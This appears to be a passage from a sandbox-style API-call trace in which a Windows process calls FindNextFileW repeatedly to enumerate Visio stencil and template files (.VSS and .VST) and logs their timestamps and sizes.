	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37dee200, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x37dee200, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x18c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EETRAN_M.VSS", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd4c300, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3dd4c300, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x17c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EETRAN_U.VSS", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x475e2b00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x5086c7a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x475e2b00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x28e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEVHF_M.VSS", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50e79300, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50e79300, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x27c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEVHF_U.VSS", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cd35500, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5cd35500, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x25c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELETEL_M.VSS", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb28fd00, ftCreationTime.dwHighDateTime=0x1ca4888, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfb28fd00, ftLastWriteTime.dwHighDateTime=0x1ca4888, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELETEL_M.VST", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68bf1700, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x68bf1700, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x27a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELETEL_U.VSS", cAlternateFileName="")) returned 1
	[0053.267] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b26500, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4b26500, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELETEL_U.VST", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74aad900, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x74aad900, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x59600, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMBELL_M.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80969b00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80969b00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x54c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMBELL_U.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x960bc500, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x50892900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x960bc500, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x6d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENTAPP_M.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845ec00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x845ec00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENTAPP_M.VST", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa4fc200, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaa4fc200, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x69c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENTAPP_U.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa84600, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xaa84600, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENTAPP_U.VST", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xade34900, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xade34900, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENTITY_M.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb176d000, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb176d000, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENTITY_U.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d92a00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb3d92a00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPC_M.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3bcd00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3bcd00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPC_M.VST", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb76cb100, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb76cb100, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPC_U.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x109e2700, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x109e2700, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPC_U.VST", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc94e5400, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc94e5400, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCOBJ_M.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9feca00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9feca00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x7ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCOBJ_U.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed119a00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xed119a00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x42800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FASTN1_M.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfef33d00, ftCreationTime.dwHighDateTime=0x1ca472b, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfef33d00, ftLastWriteTime.dwHighDateTime=0x1ca472b, nFileSizeHigh=0x0, nFileSizeLow=0x3ec00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FASTN1_U.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd415900, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd415900, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x2e200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FASTN2_M.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a5e4800, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a5e4800, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x2e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FASTN2_U.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc0a200, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1cc0a200, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAULT_M.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13008100, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x13008100, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAULT_M.VST", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20542900, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x20542900, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAULT_U.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1562db00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1562db00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAULT_U.VST", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea24500, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2ea24500, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x2ee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLOSHP_M.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf06100, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3cf06100, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x2b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLOSHP_U.VSS", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x201d7000, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x201d7000, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x17e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLRPLN_M.VST", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c093200, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2c093200, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x17c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLRPLN_U.VST", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34616d00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x34616d00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPALL_M.VST", cAlternateFileName="")) returned 1
	[0053.268] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b887b00, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3b887b00, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0xae00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPALL_U.VST", cAlternateFileName="")) returned 1
	[0053.269] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52658b00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x5092ae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52658b00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPASSM_M.VSS", cAlternateFileName="")) returned 1
	[0053.269] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63160100, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x5092ae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x63160100, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x40200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPASSM_U.VSS", cAlternateFileName="")) returned 1
	[0053.269] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79bc5800, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x5092ae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x79bc5800, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x4e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEQP_M.VSS", cAlternateFileName="")) returned 1
	[0053.269] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ccf2800, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x5092ae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8ccf2800, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x45e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEQP_U.VSS", cAlternateFileName="")) returned 1
	[0053.269] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eb0cb00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x5092ae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9eb0cb00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x3a200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPVALV_M.VSS", cAlternateFileName="")) returned 1
	[0053.269] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae301400, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x5092ae80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xae301400, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x34c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPVALV_U.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6884f00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb6884f00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREEQP_M.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdaf5d00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xbdaf5d00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x1a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREEQP_U.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcacc4c00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcacc4c00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x31600, dwReserved0=0x0, dwReserved1=0x0, cFileName="FURN_M.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7e93b00, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd7e93b00, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x31200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FURN_U.VSS", cAlternateFileName="")) returned 1
	[0053.270] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda4b9500, ftCreationTime.dwHighDateTime=0x1ca472c, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xda4b9500, ftLastWriteTime.dwHighDateTime=0x1ca472c, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANESA_M.VSS", cAlternateFileName="")) returned 1
